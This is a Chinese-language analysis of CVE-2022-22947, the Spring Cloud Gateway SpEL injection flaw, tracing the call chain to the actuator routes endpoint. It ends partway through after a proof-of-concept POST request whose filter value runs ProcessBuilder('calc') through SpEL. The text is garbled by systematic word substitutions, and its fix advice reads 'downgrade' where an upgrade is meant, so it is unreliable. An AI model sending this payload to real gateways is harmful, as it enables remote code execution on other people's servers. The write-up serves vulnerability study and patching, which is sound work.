关于供应链:CVE202222947-SpringCloud-GateWay-SPEL-RCE-漏洞分析
破绽概要Spring Cloud Gateway 是Spring Cloud 生态中的API网关,蕴含限流、过滤等API治理性能。Spring官网在2022年3月1日公布新版本修复了Spring Cloud Gateway中的一处代码注入破绽。当actuator端点开启或裸露时,能够通过http申请批改路由,路由中蕴含的歹意filter参数会通过SPEL表达式解析,从而导致近程主机执行任意代码。 影响范畴:org.springframework.cloud:spring-cloud-gateway-server@[3.1.0, 3.1.1)org.springframework.cloud:spring-cloud-gateway-server@[2.2.6.RELEASE, 3.0.7)修复计划:将组件 org.springframework.cloud:spring-cloud-gateway-server 降级至 3.1.1 及以上版本将组件 org.springframework.cloud:spring-cloud-gateway-server 降级至 3.0.7 及以上版本破绽链接:https://www.oscs1024.com/hd/M...以下内容来自公众号《平安日记》 Erikten 对该破绽的剖析: 0x00 环境搭建CVE-2022-22947 SpringCloud GateWay SPEL RCE 破绽剖析,间接去 GitHub 上下载即可。 git clone https://github.com/spring-cloud/spring-cloud-gatewaycd spring-cloud-gatewaygit checkout v3.1.00x01 破绽剖析首先这个破绽的实质就是一个Spel表达式注入。破绽的触发点位于org/springframework/cloud/gateway/support/ShortcutConfigurable.java#getValue,看diff点能够发现在平安版本中官网将StandardEvaluationContext更换为了GatewayEvaluationContext去执行Spel表达式 咱们回溯一下getValue这个办法,发现在org/springframework/cloud/gateway/support/ShortcutConfigurable.java#ShortcutType这个枚举中的DEFAULT被调用 那么就去跟一下哪里调了ShortcutType.DEFAULT,发现在org/springframework/cloud/gateway/support/ShortcutConfigurable.java#shortcutType调用了它 最终在org/springframework/cloud/gateway/support/ConfigurationService.java#normalizeProperties对filter属性进行解析,最初进入getValue执行SPEL表达式造成SPEL表达式注入。 持续向上,来到org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#loadGatewayFilters,依据这个办法的名字大略也能猜出它的做作用,就是增加路由filters 持续反复之前的操作(向上回溯),会找到这么一条调用链 RouteDefinitionRouteLocator#loadGatewayFilters ->RouteDefinitionRouteLocator#getFilters -> RouteDefinitionRouteLocator#convertToRoute -> RouteDefinitionRouteLocator#getRoutes -> GatewayControllerEndpoint#routes 整体流程大抵理解了,就是增加路由filter而后拜访,通过getValue触发Spel注入最终实现RCE,那么怎么增加路由呢?咱们去看下手册https://cloud.spring.io/sprin... 来到org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint#save,能够看到POST的申请体对应的内容 Filters内容 0x02 结构PoC首先创立路由filter POST /actuator/gateway/routes/test HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 212{ "id": "test", "filters": [{ "name": "AddResponseHeader", "args": { "name": "any", "value": "#{new ProcessBuilder(\"calc\").start()}" } }], "uri": "http://test.com"}发包能够发现payload曾经注入进filter了 ...